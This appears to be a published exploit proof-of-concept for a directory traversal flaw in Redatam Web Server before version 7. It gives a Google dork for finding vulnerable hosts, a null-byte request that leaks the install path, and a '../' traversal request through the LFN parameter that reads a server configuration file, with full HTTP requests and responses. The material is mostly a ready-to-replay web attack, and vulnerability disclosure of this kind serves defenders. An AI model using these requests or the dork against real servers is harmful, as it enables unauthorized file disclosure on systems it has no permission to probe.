90 lines
No EOL
2.5 KiB
Text
90 lines
No EOL
2.5 KiB
Text
# Exploit Title: Redatam Web Server < 7 - Directory Traversal
|
|
# Google Dork: inurl: /redbin/rpwebutilities.exe/
|
|
# Date: 2018-06-18
|
|
# Exploit Author: Berk Dusunur
|
|
# Vendor Homepage: http://redatam.org/redatam/en/index.html
|
|
# Software Link: https://www.cepal.org/en/topics/redatam/download-redatam
|
|
# Version: before V6
|
|
# Tested on: Pardus Windows AppServ
|
|
# CVE : N/A
|
|
|
|
# Proof of Concept
|
|
# Redatam web server windows server running LFN parameter affected by directory traversal
|
|
# Making a wrong request causes directory leak
|
|
|
|
# Request
|
|
|
|
GET /redbin/rpwebutilities.exe/text?LFN=blablabla%00.htm&TYPE=TMP HTTP/1.1
|
|
Host: 192.168.1.104
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
|
|
Firefox/52.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
Cache-Control: max-age=0
|
|
|
|
# Response
|
|
|
|
HTTP/1.1 500 Internal Server Error
|
|
Date: Mon, 18 Jun 2018 10:04:44 GMT
|
|
Server: Apache/2.4.23 (Win32) PHP/5.6.25
|
|
Content:
|
|
Content-Length: 416
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
|
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
|
<heading/>
|
|
<body>
|
|
<h1>R+SP WebUtilities Exception</h1>
|
|
<p>Error Number [401]</p>
|
|
<p><b>Error Message</b></p>
|
|
<p>File not found in folder [C:\wamp\apps\redatam\redbin\] - [blablabla]
|
|
|
|
Script directory /wamp/apps/redatam/redbin/
|
|
|
|
# Request 2
|
|
|
|
GET
|
|
/redbin/rpwebutilities.exe/text?LFN=../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl%00.htm&TYPE=TMP
|
|
HTTP/1.1
|
|
Host: 192.168.1.104
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
|
|
Firefox/52.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
Cache-Control: max-age=0
|
|
|
|
# Response 2
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Mon, 18 Jun 2018 10:11:44 GMT
|
|
Server: Apache/2.4.23 (Win32) PHP/5.6.25
|
|
Title:
|
|
../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl
|
|
Content:
|
|
Content-Length: 2319
|
|
Connection: close
|
|
Content-Type: text/html; charset=utf-8
|
|
|
|
[STRUCTURE]
|
|
USERCONTROL=YES
|
|
GROUPALIGN=LEFT
|
|
|
|
SERVERTIMEOUT=1800
|
|
|
|
HTMLPATH=RpSite\
|
|
|
|
PORTALTITLE=CELADE/CEPAL, Nações Unidas
|
|
PORTALSUBTITLE=Procesamiento En-Línea com REDATAM
|
|
|
|
//PORTALCENTERIMAGE=/redatam/images/LogoRedatam7_520x390.png
|
|
//PORTALBACKGROUNDHEADERIMAGE=
|
|
//PORTALBACKGROUNDINDEXIMAGE=
|
|
//PORTALBACKGROUNDOUTPUTIMAGE= |